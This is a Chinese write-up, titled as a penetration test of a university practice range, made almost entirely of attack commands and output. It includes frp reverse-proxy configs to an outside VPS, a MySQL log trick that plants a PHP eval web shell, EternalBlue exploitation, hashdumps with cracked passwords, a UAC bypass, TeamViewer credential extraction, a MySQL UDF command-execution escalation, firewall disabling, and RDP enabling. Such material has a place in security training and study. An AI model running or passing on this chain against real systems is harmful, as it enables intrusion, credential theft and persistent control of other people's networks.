记一次某大学实战靶场渗透测试

nohup ./frpc -c frpc.ini &

[common]server_addr = 156.***.**.194 -（公网VPS）server_port = 1080[plugin_socks]type = tcpremote_port = 8088plugin = socks5use_encryption = true  use_compression = trueplugin_user = testplugin_passwd = test123

nohup ./frps -c frps.ini &

[common]bind_port = 1080

show global variables like "%genera%";set global general_log='on';SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/cmd.php';
SELECT "<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";
set global general_log='off';

pass=@eval(base64_decode($_POST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 192.168.3.0/255.255.255.0

[+] 192.168.3.9:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[+] 192.168.3.16:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[+] 192.168.3.20:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[+] 192.168.3.23:445  - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)[-] 192.168.3.34:445  - An SMB Login Error occurred while connecting to the IPC$ tree.[+] 192.168.3.43:445  - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcpmsf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.3.43msf5 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

meterpreter > hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w!@#123user106:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]

meterpreter > portfwd add -r 192.168.3.43 -p 3389 -l 1234

REG add "HKLMSYSTEMControlSet001ControlLsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwrmsf5 exploit(windows/local/bypassuac_eventvwr) > set payload windows/meterpreter/bind_tcpmsf5 exploit(windows/local/bypassuac_eventvwr) > set rhost 192.168.3.43msf5 exploit(windows/local/bypassuac_eventvwr) > set lport 443msf5 exploit(windows/local/bypassuac_eventvwr) > set session 2msf5 exploit(windows/local/bypassuac_eventvwr) > exploit

tasklist /svc | findstr "TeamViewer" & sc qc TeamViewerwmic process where name="TeamViewer.exe" get processid,name,executablepathTeamViewer ID：1 051 948 915  -  TeamViewer Pass：y1ru85

添加IP安全策略：netsh ipsec static add policy name=阻止3389端口添加IP筛选器名：netsh ipsec static add filterlist name=放行192.168.3.43添加IP筛选器：netsh ipsec static add filter filterlist=放行192.168.3.43 srcaddr=192.168.3.43 dstaddr=Me dstport=3389 protocol=TCP添加筛选器操作：netsh ipsec static add filteraction name=放行 action=permit or block添加IP安全规则：netsh ipsec static add rule name=放行192.168.3.43 policy=阻止3389端口 filterlist=放行192.168.3.43 filteraction=放行激活指定安全策略：netsh ipsec static set policy name=阻止3389端口 assign=y or n
导出IP安全策略：netsh ipsec static exportpolicy C:WindowsdebugWIAip.ipsec导入IP安全策略：netsh ipsec static importpolicy C:WindowsdebugWIAip.ipsec删除所有安全策略：netsh ipsec static del all

beacon> hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b - Complex921betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w!@#123Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0kenda:1023:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9bmysql:1004:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9bphpstudy:1003:aad3b435b51404eeaad3b435b51404ee:8b6f467992fd5105d50aebc26400a897

select @@plugin_dir;show global variables like "%secure%";

select hex(load_file('c:\udf.dll')) into dumpfile 'c:\udf_hex.txt';select 0x-udf_hex.txt into dumpfile "D:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";create function sys_eval returns int soname 'udf.dll';select sys_eval('whoami'); 
drop function sys_eval;delete from mysql.func where name='sys_eval';

1.必须得到目标机器上的一个普通权限用户和密码  1)启用Guest用户：net user guest /active:yes，空密码也可利用。
2.开启一个匿名共享（才能找到可访问的命名管道）  1)新建一个共享并给予Guest或Everyone共享权限（默认Everyone）。  2)高级共享设置->密码包含的共享->关闭密码包含共享（默认为开启状态）。
nmap -sV -O 192.168.0.108        //获取目标计算机名auxiliary/scanner/smb/pipe_auditor    //获取目标可用pipe

Wmic远程执行命令（无回显）：wmic /node:192.168.1.4 /user:administrator /password:Complex909 process call create "cmd.exe /c whoami"
关闭/开启防火墙：netsh advfirewall set currentprofile state offnetsh advfirewall set currentprofile state on
开启3389端口：REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f